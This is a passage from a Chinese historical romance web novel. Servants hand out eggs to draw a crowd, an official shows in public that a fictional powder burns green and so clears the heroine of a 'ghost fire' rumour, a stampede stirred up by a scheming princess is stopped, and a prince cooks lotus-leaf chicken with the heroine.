见他们犹犹豫豫,裴明镜正思索着该说什么,就听到一旁的双鲤大声叫嚷了起来:
“来的人,每个人发一个鸡蛋!仅限前五百个人,来晚了,可就没咯。”
听到这话,原本还有些犹豫的百姓们当即答应了下来。
“我要来!”
“小姑娘,什么时辰可以领鸡蛋啊?”
“鸡蛋一人一个,那我全家都来,能不能全家都有啊?”
所有人都围着双鲤问了起来。
向来是人群中众星捧月存在的裴明镜头一次沦为了陪衬。
裴明镜:“……”
合着他说的话,还不如双鲤发的一个鸡蛋管用?
京兆府前发生的事情,谢翊宁很快就知道了。
双鲤是晏逐星的丫鬟,若没有她的示意,她不可能去找裴明镜。
谢翊宁想到这心里就有些不高兴。
他昨夜的话白说了么,不是让她有事就找他,他给她撑腰。
怎么又去找裴明镜?
“停云,照夜,你们替本王去办一件事。抢在裴明镜今夜证明之前办好。”
谢翊宁指节轻扣,想到了一个更好的法子。
他要让全京城的百姓都知道,晏逐星昨夜是被人陷害的,她身上燃烧的是夜飞砂,而非什么鬼火。
听完他的吩咐,停云和照夜正欲离开,却又被他给叫住了。
“等等……”
第150章 盛装去见他
谢翊宁沉声道:“算了,等裴明镜证明完你们再行动吧。”
她都费心费力让裴明镜去办了,他可以锦上添花,没必要去破坏她原有的计划。
多一个人替她澄清,她身上的污水也可以早日洗清。
“是。”停云和照夜对视一眼,点头应下。
虽然不知道王爷为何忽然又改了主意,但两人还是老老实实照办。
看着他们离去的背影,谢翊宁忍不住在心里暗暗腹诽:他真就不信这个邪了,他替她做得那么好,下回她还找裴明镜。
*
双鲤有些忐忑地跑回了晏宅。
先前她怕晚上那些人不来看裴大人澄清,她张口就承诺了五百个鸡蛋。
一个鸡蛋两文钱,五百个那就得花掉一两银子了。
“陈双鲤,你真是出息了,没经过主子同意,竟敢自作主张花一两银子!”双鲤伸出手狠狠敲了下自己的脑袋。
自打跟着大小姐后,她的吃穿用度比寻常丫鬟强百倍,大小姐宽厚,时不时还有些赏银下来。
导致她现在竟然敢随口许诺出一两银子的东西。
这太可怕了!
今日她能爽快地给出一两银子的鸡蛋,明日会不会一时激动就许诺十两,百两,甚至是千两银子。
那时候岂不是给小姐添大麻烦了?
她忐忑地回了宅子,将先前发生的事情告诉了晏逐星。
“大小姐,您放心,奴婢之后不会再这样擅作主张了。这一两银子,您从奴婢的月银里扣吧。”双鲤垂头丧气地开口,出府前的活泼机灵劲都蔫巴了。
“你做得很好,我为何要扣你的月银。”晏逐星笑了起来。
双鲤比她想的还要机灵。
“真的吗?小姐没有骗我吗?”双鲤听到她的夸赞,眼睛一下就亮了起来。
小姐的三个大丫鬟里,九栀姐姐武力高强,可以保护小姐;衔蝉姐姐知识渊博,什么都懂,可以陪着小姐进宫见各种贵人。
而她什么也不会,只有一些小机灵和上不得台面的小伎俩,以及对小姐的忠心。
现在就连张小乙都被小姐委以重任了。
她就更担心自己会不会因为没有用被小姐送走了。
如今听到小姐这么说,她心里别提有多高兴了。
“我骗你做什么。”晏逐星笑着摸了摸她的脑袋。
“这事你办得很好,当赏。”
说完便让衔蝉去拿了五两银子交给她。
“多谢小姐赏!”双鲤整个人又活了过来,捧着银子傻笑开心不已。
晏逐星看向了自己的几个心腹丫鬟,温声道:“很多时候我不在现场,就需要你们随机应变。双鲤今日就做得很好。一两银子就能换来几百个人自发替我辩解,这笔生意再划算不过了。”
“是,奴婢记住了。”双鲤高高兴兴应下。
衔蝉和九栀也都跟着点头。
才高兴没多久,就听到下人来报。
“大小姐,裴大人来了。”
晏逐星:!!!
裴明镜怎么来了?
“快快快,小姐,您坐好,我给您上妆。”
衔蝉着急忙慌地将她按到了铜镜前,往她嘴唇上敷了一层粉。
瞥见妆台上昨日研磨好未干的些许螺子黛膏,顾不得寻笔,直接用指腹沾了点半湿润的黛色,极轻极快地点按在晏逐星泛青的眼底,晕开了一层让她看起来十分憔悴的阴影。
一旁的九栀嘴唇抽了抽,弱弱道:“衔蝉,这粉是不是撒得有点多了?小姐这看起来不像一夜未眠,反倒像命不久矣。”
说完意识到自己这话说得不对,赶忙解释:“咳咳,小姐,奴婢失言了,奴婢不是那个意思。”
晏逐星被她的话逗笑了。
“我知道你不是有意的。”
她推开了衔蝉想要补救的手,直接在她敷好的粉上叠了一层胭脂。
“小姐这是何意?”衔蝉愣住了。
双鲤不是告诉裴大人,小姐不吃不喝了吗,如今不是该让自己显得虚弱些么,怎么小姐反倒浓妆艳抹了起来。
“裴明镜与常人不同,你那样做,只会让他怀疑我。”晏逐星没有遮掩衔蝉加重的眼底乌青,轻描淡写地替自己上了个妆。
“好了,去见裴大人吧。”
晏逐星刻意打扮了一番,让裴明镜在花厅里等了一刻钟方才出现。
“抱歉,让裴大人久等了。”晏逐星说话的声音比往常低了几分,听起来有些有气无力。
“你……”裴明镜看清她的脸,话音戛然而止。
他知晓晏逐星容貌出众,只是她平日里从不施粉黛,眉目间天然带着清冷疏离。
他从未想过她竟会如此妆扮。
仿佛脱胎换骨一般,素净的容颜被精心勾勒,眉眼染上了浓墨重彩的艳色,朱唇一点,灼灼其华。
如同蒙尘明珠一朝拭净,骤然迸射出令人不敢逼视的璀璨。
这强烈的反差太过震撼,裴明镜只觉得胸腔里那颗心猛地一撞,呼吸都窒住了。
他的目光停留在晏逐星那张焕然一新的脸上,脑中一片空白。
“裴大人忽然造访,可是查清了真凶?”见他不说话,晏逐星主动挑起了话题。
裴明镜意识到自己这样直直盯着姑娘家不礼貌,当即收回了目光。
他解释道:“尚未。本官听闻你因为市井流言茶饭不思,特来宽慰你……”
说到这,他又觉得不妥。
他和晏逐星非亲非故,他有什么立场来安慰她。
“大人多虑了,我并未茶饭不思,我只是受了伤有些疲惫罢了。嘶……”晏逐星亲自给他斟茶,结果却不小心牵动了伤口倒吸一口凉气。
“何必逞强。”裴明镜当即抢过了她手中的茶壶,让她坐下。
“你放心,最多三日,本官一定将真凶找到。鬼火一事,本官也会命人替你澄清。”
说完他盯着她眼底的乌青,眉头锁得紧紧的。
“晏大小姐还是好好休息吧,不必上妆自欺欺人。”
平日里从不打扮的她,今日忽然盛装见他,分明是不想让他瞧见她如今的脆弱。
说完他转身就走。
一旁的衔蝉和九栀目瞪口呆。
还真让大小姐说中了呀,盛装来见裴大人,反倒让裴大人信了小姐寝食难安。
见他离去,晏逐星唇角勾起了一抹狡黠的笑。
裴明镜这或许就是聪明反被聪明误吧。
人啊,就是不能想太多。
她喝完最后一口茶,起身打算回屋和衔蝉讨论一下今夜吃什么,就看到了一个不可能出现在她家里的人。
第151章 像老夫老妻
“王爷,您怎么来了?”
怎么还没走正门。
后面这句话晏逐星咽了回去。
谢翊宁正站在她的院墙下看着什么。
“怎么?只欢迎裴大人来,不欢迎本王?”谢翊宁转身,唇边噙着漫不经心的笑。
晏逐星赶忙摇头否认:“没欢迎裴大人啊,他来只是为了查案。”
“查案需要你这般盛装去见他么?你见本王也没这般用心打扮呀。”后一句话,谢翊宁说得有些含混不清。
但晏逐星还是听得分明。
她暗道一声糟糕。
永安王自小锦衣玉食,什么都是最好的,自己今日盛装去见裴大人,往常见他时却这般随意,他难免觉得她更看重裴大人。
这可万万不行。
裴大人和永安王孰轻孰重,她可是拎得很清的。
“那是因着那些谣言,为了让他信我茶饭不思,才刻意为之。”晏逐星连忙解释缘由。
“况且,”她话锋一转,语气带上几分小心翼翼地试探,“裴大人是外人,王爷是自己人。自己人跟前,何须这般刻意妆扮?那倒显得生分了。”
一句“自己人”让谢翊宁心里舒坦多了。
也是,往常里在王府没有外人的时候,他才不耐烦穿那些锦衣华服。
但他心底还是有些小小的不痛快。
“既然说本王是自己人,那为何遇事不找本王,反倒去找裴明镜?”谢翊宁挑眉看向她。
这回晏逐星倒是理直气壮了起来:“他乃京兆尹,查案本就是职责。我给他点压力让他查快点怎么了。再说了,杀鸡焉用牛刀,小小谣言,何须王爷出手。”
谢翊宁面无表情地伸手点了点她的脑门。
“巧舌如簧,阿谀奉承。”
而后唇角却勾起了一抹笑。
“不过本王爱听。”
他斜睨了一眼身后的停云。
停云总问他为何对小恩人这般好。
瞧瞧人家,多会说话。
这般知情知趣,知恩图报,他对她再好一点都不为过。
见他终于露出真心的笑,晏逐星总算松了一口气。
看来她那话说对了。
她有些好奇地询问:“王爷今日怎么不走正门?”
“父皇将我叫入宫中旁敲侧击了一番,太后和朝华姑母她们似乎怀疑福安之死乃是我所为。”
谢翊宁一句话让晏逐星的心顿时悬了起来。
“然后呢?”她忍不住追问。
“然后我当然否认啦。”谢翊宁说得十分轻松。
反正本来也不是他干的。
他顶多算个帮着毁尸灭迹的从犯。
“父皇自然也就没有继续问了。不过我怕朝华姑母会盯着你这边,若我光明正大来见你,反倒会让她对你产生更多怀疑。所以我就走后门了。”谢翊宁没有遮遮掩掩,直接把事情都说了出来。
跟着一块来的停云欲言又止:
王爷您那是走的后门吗,您明明是翻墙。
再说了,翻墙进人家姑娘的院子不是什么光彩的事情吧,王爷怎么就说得这般坦荡?
“那确实。”晏逐星认可地点了点头。
“不过您来与不来,朝华大长公主都没打算放过我。所以您还是可以光明正大地从正门来的,我也好招待您,而不是让您在院子里吹冷风。”
谢翊宁环顾了有些空荡的院子一圈,点头:“倒是本王考虑不周了。你这院子空落落的,明日让人给你送些花来吧。”
“我听衔蝉说你院子里从前种的是梅花,只是如今不好移栽,不如等开春后吧。”
“不必,其实我不怎么喜欢梅花。玉澜院的花是定远侯府的人栽种的,我选那个院子不过是图它方便罢了。”晏逐星摇头拒绝了。
说完她有些后悔。
王爷给她送东西,她拒绝了是不是会显得她有些不知好歹?
“那你喜欢什么花?只管开口。反正本王都能给你找来。”谢翊宁的语气十分坦荡。
晏逐星看着如今有些空旷的院子,畅想了起来。
“其实我不怎么爱花,若有得选,倒不如在院子里种些果树。夏日的葡萄秋日的石榴,还有冬日的柿子,都很不错。既能赏花又能吃果子。”
这些念想,皆是上一世在军营中,听那些来自天南地北的将士们絮叨而来。
那时她总想着,待山河平定,烽烟散尽,她一定要过上这样的日子。
“哟,种果树好呀!等葡萄爬满了架,在底下拴个秋千。”谢翊宁眉梢一挑,唇角勾起懒洋洋的笑,“闲着没事晃荡两下,还能顺手摘两串葡萄尝尝,岂不美哉?”
“好主意!”晏逐星眼眸一亮,当下便将这提议刻入心底。
上一世她被温如霜磋磨数年,早忘了该如何享乐。
如今重活一世开府独居,天高地阔,她心底最重要的念头便是:复仇成功后,要将自己重新、精心地养一回。
万事万物,但求顺心。
两人你一言我一语,聊得倒是投入。
停云已经习惯了他们俩这聊天方式,见怪不怪。
反正晏大小姐说什么,王爷都说好。
想要什么,王爷都会给。
反倒是衔蝉头一回近距离看两人这样相处,感觉有些怪怪的。
小姐和王爷这对话怎么听着那么像老夫老妻?
意识到自己在想什么,衔蝉猛地瞪大了眼睛。
天啊,她好像发现了什么不得了的事情。
第152章 是杀人灭口
两人你一言我一语,越说话题跑得越偏。
“先前听到你和衔蝉商量吃什么荷叶鸡,这是什么做法,本王怎么从未听过?”谢翊宁好奇询问。
晏逐星有些不好意思地摸了摸鼻尖:“其实我也没吃过,只是听别人说起过觉得新奇有趣,想必滋味不凡,故而想要试试。只可惜如今新鲜荷叶无处可寻,黄泥也冻得硬如铁石……”
说到最后,语气里不自觉地带上了几分惋惜。
“这有何难?王府里存着些秋日收的干荷叶,本是预备着夏日煮茶清心或是入药用的。”谢翊宁眉梢一扬,“停云,回府去取干荷叶来。”
“还得有泥。”晏逐星提醒。
谢翊宁略一沉吟,想起了王府后园新移了几株老梅,原本是打算先自己实验一下,若是种活了给晏逐星府邸也种几棵。
如今倒是凑巧了。
“王府后园有新翻出的花土,细腻得很,让停云取些黏腻的土来便是,正好试试这冻土能否成事。”
停云应下,转身就回王府取东西去了。
而后谢翊宁又道:“还需要什么?本王一并给你解决了。”
晏逐星目瞪口呆。
不是随便聊聊么,怎么说做就做了。
“鸡、盐、饴糖、花椒酒……”晏逐星下意识地把需要的东西说了出来。
“奴婢这就去准备。”衔蝉抢先应下去准备。
这些东西就不劳烦王爷去王府拿来了。
不然显得他们多穷酸啊。
见衔蝉离开,晏逐星猛地一拍脑袋:“等等,王爷,您今日来寻我所为何事?可别耽误了。”
她被谢翊宁给带偏了,聊了那么久的废话。
这么重要的事情,她差点忘了问。
谢翊宁一怔,这才将自己抛之脑后的事情想了起来。
“是这样的,朝华姑母不是想要用你身上的鬼火做文章么,咱们就以其人之道还治其人之身……”
他唇角勾起一抹促狭的笑,将自己的计划说了出来。
晏逐星听完佩服得五体投地,这么好的法子她怎么就没想到呢!
她忍不住赞叹道:“王爷真是聪慧过人,这么好的办法也只有您才能想得出来。”
“过奖过奖,本王只是略施小计罢了。”谢翊宁嘴唇上扬,眉眼都带着如沐春风的笑意。
*
裴明镜从晏宅离开后,只是在京兆府睡了了一个多时辰,又起身继续去查案了。
金光门外有一条街,无论是琉光或是西戎来大虞行商的商贩,都会寄居于此,在此行商。
出现在晏逐星身上的夜飞砂,也出自这里。
“裴大人,稀客啊,怎么来咱们这了。”西戎商人阿迪勒瞧见裴明镜,乐呵呵地冲他打招呼。
裴明镜可是京城父母官,他们来大虞做生意的,都识得这位京兆尹大人。
“京兆府查案。”裴明镜没有废话,亮出令牌单刀直入。
“夜飞砂,你都卖给了谁?”
“呵呵,裴大人说笑了。”阿迪勒干笑两声,眼神闪烁,“小店每日迎来送往,卖出的货物不计其数,哪能桩桩件件都记得卖给谁了呀。”
他搓着手,试图将这事含糊带过。
“每售出一物,必有账册详录。”裴明镜语调平淡,却字字千钧。
“夜飞砂有毒,此物售出你岂会不记下买家姓名?否则……”他略一停顿,视线锁住阿迪勒的脑袋,“一旦事发,株连查抄的就不止你这铺子,还有你的项上人头。”
阿迪勒摸了摸自己的后脖颈,感觉凉飕飕的。
他顿时露出了一个讨好的笑:“大人说笑了,我确实记不清。”
见裴明镜眼神如炬,他赶忙补充。
“我的意思是我记性不好,记不清是谁买的了。但是吧,还好我有册子!小人这就给您拿。”
阿迪勒折回库房,翻找了一盏茶的功夫,这才将册子打开递给裴明镜。
“这正是近一个月内购买夜飞砂的人名。当然,他们若是用假名,小人也就没辙了。”
裴明镜迅速将那几个人的名字和采买时间都飞快记了下来,而后当即吩咐郑晗去查。
“你仔细和郑晗说说这些人的相貌,以及当时购买的情况。”
阿迪勒听到这话,露出了苦笑:“大人,我哪记得那么多呀。”
裴明镜只是轻轻瞥了一眼他的脖子,他立刻改口:“我一定知无不言言无不尽,仔细配合大人们查案。”
郑晗把人带走,裴明镜没有停留,继续去了下一个地方——朝华大长公主府。
正好,朝华大长公主也想见他,直接让他进了公主府。
“福安的案子,你查得如何了。”朝华大长公主沉着脸询问。
她已经知道了裴明镜要替晏逐星澄清她身上的火非鬼火一事,她火冒三丈,但她又不能勒令裴明镜停止调查。
因而今日只能转移他的注意力,想要让他不要再管这事。
“郡主的案子由大理寺和刑部负责,京兆府无权过问,微臣无能为力。”裴明镜如实告知。
“本宫不是让京兆府去查,是让你去查!”朝华大长公主隐隐有些控制不住自己的怒火。
“福安本来会是你的未婚妻,你放着她的死不管,反倒去查什么鬼火不鬼火的。”
“难道在你心中,福安还没有一个商贾之女重要么?”
裴明镜眉尖微微蹙起。
他一字一句道:“殿下,微臣查的是自己该查的案子,与案件中人无关。何来谁比谁重要一说。所有的案子,在微臣这都很重要。”
“既然你不管福安的案子,你来公主府做什么,你赶紧走吧。”朝华大长公主用最后的理智控制住了自己没对裴明镜恶言相向。
裴明镜这般冷心冷肺,就算福安还活着,嫁过去恐怕也讨不了什么好。
之前看裴明镜有多满意,现在她就有多厌恶。
“微臣听闻郡主遇害当夜,还有一个丫鬟在太白楼罚跪,微臣有话想要问她。”裴明镜平静地开口,像是没听到朝华大长公主赶走他的那句话。
朝华大长公主冷笑:“福安的案子不归你管,她的丫鬟也轮不到你审。”
“那个丫鬟涉及上元节踩踏案件,微臣寻她问话合情合理。”裴明镜不为所动。
朝华大长公主下意识地攥紧了拳头。
上元节踩踏怎么扯到福安身上了,难不成裴明镜查到什么了?
她端起茶盏,故作淡然:“那倒是可惜了。那丫鬟思主心切,得知福安不幸身故,竟也跟着去了。”
她轻轻吹了吹茶沫,语气带着一丝仿佛真切的惋惜。
“这份忠心,本宫倒是颇为欣赏,已命人将她厚葬了。只盼她在九泉之下也能好生伺候福安。”
裴明镜的眉头骤然锁紧。
思主心切?
他听着分明是杀人灭口。
“既是如此,那微臣就不打扰了。”裴明镜提出告辞。
看着他离去的背影,朝华大长公主还是没忍住叫住了他。
“裴大人,昨日上元节才出了事,今夜你确定还要在京兆府门前让百姓们聚集么?不如算了吧。”
“多谢殿下提醒,微臣定会小心行事。”裴明镜没有接受她的建议。
朝华大长公主一顿,而后脸上浮出一抹疏离的笑:“既是如此,那就祝裴大人好运了。”
“借殿下吉言。”裴明镜转身离去。
他一走,朝华大长公主就变了脸色。
她恶狠狠道:“贱人,给脸不要脸。既然你非要替那个商贾之女澄清,那便和她一同陪葬好了。”
第153章 为蛋丢了命
夜幕降临前,京兆府门口已经聚集了一堆人。
见双鲤和衔蝉领着府中的下人把鸡蛋搬来了。
看见几大筐鸡蛋,众人便知道他们没骗人,议论纷纷了起来。
“呀,还真能领鸡蛋啊!”
“幸好我来得早。”
“嚯,我回家跟我娘说京兆府白送鸡蛋,我娘还不信,等我领回去了,我自个吃。”
你一言我一语,若不是裴明镜提前安排了带刀的衙役护着,他们就要涌上来了。
“都退一退,等裴大人给大家证明了夜飞砂能烧出和鬼火一样的颜色,大家就可以来领鸡蛋了。”
双鲤扯着嗓子喊了起来。
衙役们重复着她的话。
几十个声浪连成一片,百姓们被震慑住了,乖乖退下。
双鲤听着心里不由有些小激动。
诶嘿,她竟然也能指挥那么多吃皇粮的衙役了,她岂不是比他们更厉害了?
很快,百姓们便依言退到了后边,却个个伸长了脖颈踮起脚尖,恨不得将眼珠子都贴上去,只想瞧清这传闻中的“鬼火”究竟是何模样。
裴明镜命人先端来一小盆凝固的雪白猪油,置于空地中央。
他亲自取过盛着夜飞砂的皮囊,用银匙小心翼翼舀出一小撮,在众目睽睽之下,砂砾无声地落在洁白的猪油上。
“嗤啦”一声响。
砂粒接触油脂的瞬间,一簇幽异无比的青绿色火焰骤然腾起。
那火焰跳跃不定,毫无寻常火焰的暖意,与晏逐星昨夜身上斗篷燃起时的场景一模一样。
如同坟地间飘荡的鬼火一般,透露着说不清道不明的诡异。
前排的百姓下意识地后退半步,倒吸了一口凉气,脸上交织着惊恐与好奇的神色。
“还真的和昨夜那场景一样诶?”
“所以不是鬼火,是有人故意害那小姑娘?”
“那个小姑娘也太可怜了吧。”
百姓们忍不住议论纷纷。
裴明镜冷眼注视着那跳跃的青焰,朗声道:“诸位请看。此物名为夜飞砂,来自西戎。遇油脂便燃,焰色青荧,此乃其物性使然,非是鬼神作祟。所谓鬼火,不过是无知者以讹传讹罢了!”
“昨夜那位姑娘,是被人害了,而非什么妖邪,诸位父老乡亲不要被蒙蔽了。”
话音一落,他当即示意手下立即用厚实的湿布盖灭了火焰,一股刺鼻的淡淡白烟腾起,又被迅速驱散,以防毒烟扩散伤及无辜。
就在这时,变故突现。
“那又如何,那只能证明它也会发绿光,又不能证明昨夜定远侯府那位假千金身上燃起的不是鬼火!”
“她克死了侯府主母还有侯府的两位少爷和真千金,她就是邪祟。”
人群中有人嚷嚷了起来
裴明镜脸色一沉,脑子里一瞬间就浮现出了朝华大长公主的脸。
今日她说的话,不是好意提醒而是警告威胁。
“子平,找出喊话之人,将其拿下!”他果断下令。
“好戏看完了!还愣着作甚?快抢鸡蛋啊,去晚了可就啥都不剩一根!”
人群中,奉命搅混水的家伙扯着嗓子又嚎了一记,话音未落,人已像泥鳅般率先钻出,直直扑向堆放鸡蛋的箩筐。
“哎!你等等!我排前头的!”旁边一人眼见他要得手,顿时急了眼,哪还顾得上规矩,拔腿就追了上去。
这一下如同火星溅进了油锅。
排了半晌队,腿都站麻了的百姓们心心念念的就是那口鸡蛋。
眼见有人带头冲了,方才看“鬼火”的惊疑瞬间被抛到九霄云外,脑子里只剩下一个“抢”字。
呼啦一下,人群像决了堤的洪水,争先恐后地涌向那几筐白花花的鸡蛋。
“退下!都给我退回去!按秩序来!”衙役们厉声呵斥,奋力张开手臂试图阻拦。
面前的都是寻常百姓,他们不能滥杀无辜,只得高声呵退。
可汹涌的人潮哪里还听得进去。
法不责众的念头冒了出来,再加上那点蝇头小利的诱惑,百姓们此刻血气上涌,推搡着、叫嚷着,硬是凭着人多势众,将衙役们冲撞得东倒西歪。
就算有人想要退,如今被裹挟在其中,也只得继续往前了。
奉命在暗中照看的照夜瞧见那个挑事的人,冲上前一刀砍下了他的脑袋,气沉丹田,呵斥道:“所有人后退,不退后者杀无赦。”
人头咕噜噜地滚到了地面。
见了血,先前血气冲上脑袋的百姓们瞬间都冷静了下来。
他们瑟瑟发抖,不敢再乱来。
更有甚者,直接用双手紧紧捂住了嘴,连呼吸都不敢大口喘气,生怕惹怒了照夜被一刀砍了。
衙役们也赶紧把他们分开,生怕又发生昨夜的踩踏事件。
“此人乃是王府追查的嫌犯,他故意挑拨生事,想让你们踩踏引发混乱好逃走。你们都忘了昨夜临仙楼前的惨案吗?!”
照夜的质问掷地有声。
百姓们一阵后怕。
天啊,他们刚刚做了什么,差点为了一个鸡蛋丢了性命。
双鲤瞧见这一幕差点没哭出声。
她出的主意,差点害死了那么多人。
幸好有照夜出现。
她一把抓住了衔蝉的手:“衔蝉姐姐,照夜大哥真是个好人啊,有担当有魄力,你若喜欢可得抓紧时间拿下啊,省得被人抢走了!”
衔蝉听到她这忽然冒出来的话,脸瞬间涨得通红。
“你这小妮子,胡说什么呢。”
她捏了捏她的脸,恢复了镇定。
“快把先前摔碎的蛋捡起来,不能给裴大人添麻烦,然后把备用的蛋拿出来。”
“嗯。”双鲤忙不迭应下,擦掉了眼尾因为焦急而不受控制涌出的眼泪。
双鲤他们有条不紊地重新发鸡蛋。
百姓们这一次不敢再置喙,老老实实排队领完鸡蛋走人。
裴明镜的下属也将先前那闹事之人的两个同伙给捉拿归案,裴明镜再一次忙碌了起来。
朝华大长公主得知事情失败,勃然大怒:“废物,这点小事都办不好!要你们有何用。”
她原想着利用那么多人,再闹出一起踩踏事件,到时候不仅晏逐星无法洗脱灾星邪祟的罪名,裴明镜也要丢掉官职。
谁曾想,半路竟然杀出了谢翊宁的侍卫。
他出手果断下手利落,这才震慑住了那些被煽动的百姓。
“殿下息怒啊。这事也不是全然没有好处的。至少我们知道了永安王与那晏家大小姐关系匪浅。”管事跪在地上赶忙分析了起来。
朝华大长公主点了点头,眼底的怀疑加重了。
先前她只是猜测谢翊宁为了晏逐星对福安痛下毒手,如今见他这般护晏逐星,就愈发肯定了这个念头。
“崔凝华生了个什么蠢货,怎么还没死。”朝华大长公主忍不住怒骂。
福安怎么说都是他表妹,他竟然为一个外人害了福安。
好在两年后他就要死了。
想到这,朝华大长公主心底的气顺了些。
谢翊宁目前动不得,那就把晏逐星先弄死。
第154章 讨好的手段
京兆府门口发生动乱时,谢翊宁和晏逐星还守着庭院里的荷叶鸡等它出炉。
“能吃了吗?”谢翊宁眼里闪烁着兴奋的光。
这还是他头一回自己动手做饭,因而格外期盼。
晏逐星见炭火将息,算算时辰泥球已被煨烤了近两个时辰。
她点点头:“应该可以了。”
有她这句话,一旁候着的九栀当即拿出火钳,小心地将那个外壳焦硬的泥球从灰烬中拨出,置于厚重的铁盘上。
一股混合着泥土焦香与荷叶清香还有鸡肉鲜香的味道霸道地弥漫开来。
正欲打开这个泥壳,就听到丫鬟的声音顺着晚风传了进来。
“小姐,衔蝉姐姐那边传了信回来,说京兆府出事了。”
“出什么事了?”晏逐星猛地站了起来。
谢翊宁也跟着起身,见她着急赶忙开口:“别担心,本王嘱咐了照夜在附近照看,应该不会出事。”
那丫鬟没想到永安王也在,吓了一哆嗦。
“到底什么事,赶紧说。”晏逐星着急催促。
“是。”丫鬟收回目光,赶忙把京兆府发生的事情说了一遍。
“可有无辜百姓受伤?”晏逐星赶忙追问。
得知在场只有那个挑事的人掉了脑袋,她顿时松了一口气。
“定然是朝华姑母的人干的。”谢翊宁沉下了脸。
姑母就这么见不得晏逐星好么。
“不必生气,反正咱们不是已经有新的法子对付她了么。”晏逐星笑眯眯地弯腰拿起放在一旁的小锤,递给谢翊宁。
“如今最重要的事是赶紧吃荷叶鸡,冷了可就不好吃了。”
“王爷亲手糊的泥,这开壳的彩头,自然要王爷来取。”
谢翊宁没想到她这个时候还想着荷叶鸡,怔神后便笑了起来。
“你说得对。”
他握紧锤子,一锤砸了下去。
“咔嚓!”一声脆响。
焦硬的外壳应声裂开一道缝隙,浓郁的荷叶香与滚烫肉汁气息喷薄而出。
“好香。”晏逐星忍不住咽了咽口水。
谢翊宁眼赞同地点点头,将手中的锤子换成了一把未开刃的匕首。
轻轻一挑,沿着裂缝撬开泥壳。
剥落焦土,露出里面被烤得深褐微焦、紧紧包裹的荷叶。
他用匕首尖小心挑开荷叶的接缝处,伴随着轻微的撕裂声,荷叶被掀开一角,金黄油光的汁水立刻从缝隙中涌出,流淌在铁盘上滋滋作响。
一只呈现出诱人琥珀色、皮酥肉烂、形态完整的荷叶鸡赫然呈现。
他用筷子撕下了鸡腿,递给了晏逐星。
晏逐星一愣,不应该是他先吃么,怎么还给她了。
谢翊宁挑眉一笑:“若不是你,本王可吃不到这么香的荷叶鸡。晏大小姐有功,该得头筹。这是奖励。”
“多谢王爷。”晏逐星也不和他客气,直接用手接过。
尝了一口,眼睛“咻”一下就亮了。
“好吃!”
听到她这么说,谢翊宁心中生出了一种莫名的满足感。
他也尝了一口,发现味道竟然真的很不错。
尤其是这东西是他亲手做出来的,那就更不错了。
他看向晏逐星,指着剩下的荷叶鸡道:“还有三只,本王能否带走两只?”
先前怕失败,他们一共做了四只鸡。
如今正好有多余的。
“自然可以。”晏逐星毫不犹豫地点头,“若没有王爷提供的荷叶与黄泥,这荷叶鸡哪里做得成。您若想要,只管拿去。”
“够了,用不着那么多。”谢翊宁摇摇头,让停云将剩下两只鸡带走。
“一只送去未央宫给母后父皇尝尝,一只送去东宫给太子哥哥他们尝尝。他们肯定没吃过。对了,记得告诉他们,这是本王亲手做的。”
谢翊宁唇角勾起一抹狡黠的笑。
他们吃了他做的荷叶鸡,哪日他做的事情被朝华大长公主上告,他们也不好意思严重罚他了。
嘿嘿,毕竟拿人手短吃人嘴软。
晏逐星听完他的话,垂眸掩饰自己眼底的失落。
怪不得帝后和太子殿下都这么宠着永安王,遇上好吃的没吃过的东西,他都第一时间想着家里人。
真好啊。
若是日后她找到了她的家人,她又该如何与他们相处呢。
是像谢翊宁这般,还是与他们保持距离,当做普通亲戚来相处就好。
已经淡忘了亲人记忆的晏逐星,此刻陷入了惆怅。
*
未央宫里。
帝后正在闲谈,掌事小太监就跑来通传。
“启禀皇上,皇后娘娘,永安王命人送了吃食入宫,说是他亲手做的,让您二位务必尝尝。”
“哦?”文昭帝和崔皇后听到这话都稀奇地瞪大了眼睛。
“他还会做吃的呢?”
两人俱是不信。
等到停云将荷叶鸡送上来后,两人看着那黑不溜秋的泥团都沉默了。
“这就是你家王爷让你送来的吃食?还说朕和皇后从没吃过?”文昭帝眼里隐隐带着些嫌弃。
这孩子做的啥啊,怎么都黑成炭了还让他这个父皇吃。
这孝顺得有点过头了吧。
“启禀皇上,此物名为荷叶鸡。”停云迅速回话,将吃法说了一遍。
帝后对视一眼,决定待会不管东西好不好吃,都不能打击孩子,都得吃!
“那你来拆吧。”文昭帝下了命令。
停云应下,当即按照先前看过的做法,敲碎了外边的泥巴壳,露出了荷叶。
传出来的香味让文昭帝和崔皇后来了兴趣。
待到太监验过毒后,两人都尝了一口,都看出了彼此眼中的满意。
本来这荷叶鸡味道就不错,一想到这是儿子亲手做的,他们就吃得更开心了。
吃完之后,两人方才有空评价。
崔皇后笑意盈盈道:“臣妾觉得这荷叶鸡倒是有几分野趣,胜过宫中无数珍馐。皇上以为如何?”
“朕觉得皇后说得很对。小石头孝心可嘉,赏!”文昭帝大手一挥,流水似的赏赐又送去了永安王府。
宫中那些后妃们得知这个消息,牙齿都要咬碎了,这个永安王讨好人的手段怎么一套又一套!
*
翌日清晨,尚未想好怎么对付晏逐星的大长公主刚睡醒没多久,就瞧见王府管事匆匆忙忙地跑了进来,一脸惊慌:
“不好了,殿下,出事了。”
第155章 是一出好戏
“慌慌张张,成何体统。”朝华大长公主冷呵一声。
王府管事咽了口口水,不敢耽误,赶忙道:“如今外边已经传遍了,说郡主之死乃是报应。”
“什么?”朝华大长公主猛地一拍桌子,厉声质问,“谁造的谣,本宫一定要拔了他的舌头。”
王府管事满面愁容:“是玉宵楼。昨夜他们排了一出戏,免费宴请百姓观赏,今日还有说书先生在说这个故事……”
“讲的什么?”朝华大长公主声色俱厉。
管事结结巴巴地开口:“说有一个民女燕儿入京,因生得貌美被一千金小姐贾柔妒忌,贾柔命人往她身上撒了夜飞砂,想要烧死其毁其容貌,结果把自己给活活烧死了。”
“贾柔之母怒极,便命人传扬燕儿命中带煞乃是邪祟化身,最终燕儿不堪受辱投河自尽。结果被一富家公子遇上,救了她。”
“两人一见倾心,公子得知她的冤屈,替她申冤,贾柔之母终落狱,二人也喜结连理。”
说到这,管事顿了顿,最终还是豁出去把剩下的话说完。
“如今百姓们在传燕儿就是晏家大小姐,贾柔就是福安郡主……”
管事的话音刚落,整个花厅的空气仿佛瞬间凝固,沉甸甸地压得人喘不过气。
朝华大长公主愤怒的眼眸死死钉在管事身上,脸色一片铁青。
贾柔,柔嘉。
被活活烧死……
这个节骨眼上编排这么一出戏,很难让人不联想到她的女儿。
还有戏文里的造谣的“贾母”,不正是在映射她么。
“放肆!”一声尖锐的怒吼声猛地炸开。
